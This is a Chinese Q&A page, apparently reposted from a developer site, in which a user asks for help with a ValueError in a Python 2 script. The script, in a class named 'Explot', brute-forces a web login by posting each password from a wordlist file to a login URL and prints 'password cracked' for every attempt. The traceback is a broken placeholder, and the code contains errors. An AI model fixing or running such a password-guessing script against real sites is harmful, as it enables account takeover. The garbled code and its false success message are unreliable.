python中valueerror怎么改_如何修复python中的ValueError

伙计们,我有这段代码,但当我执行时,响应是ValueError:太多的值无法解包。。。我的问题在哪里?在#!usr/bin/python

import requests

import mechanize

import sys

class Explot(object):

def __init__(self):

self.url = 'https://example.com/auth/login/'

self.listbr= open('Force.txt','r').readlines()

self.PodHtUsear=str(raw_input('Ingresa Nombre Del Campo Del Usuario ::: ' + ' '))

self.PasHtUsearP=str(raw_input('Ingresa Nombre Del Campo De la Contraseña ::: ' + ' '))

self.IngrDa=str(raw_input('Ingresa Usuario :::' + ' '))

for line in self.listbr:

self.passd=line.strip()

self.http=requests.post(self.url, data={'%s'%self.PodHtUsear:self.IngrDa,

'%s'%self.PasHtUsearP:self.passd,

'login':'submit'})

content = self.http.content

sys.stderr.write('password cracked: : : ' + self.passd + '\n')

self.Solmen(True,False)

def Solmen(self,FormeHttp,DisfoHttp):

nav = mechanize.Browser()

nav.set_handle_robots(DisfoHttp)

nav.set_handle_equiv(FormeHttp)

nav.set_handle_referer(FormeHttp)

nav.set_handle_redirect(FormeHttp)

nav.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=0.1)

nav.addheaders = [('User-agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36')]

nav.open('%s'%self.url)

nav.select_form(nr=0)

nav.form['%s'%self.PodHtUsear] = self.IngrDa

nav.form['%s'%self.PasHtUsearP]=self.passd

submi= nav.submit()

print ('Url : %s'%submi.geturl())

if __name__=='__main__':

PostMe = Explot()

回溯:

^{pr2}$

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值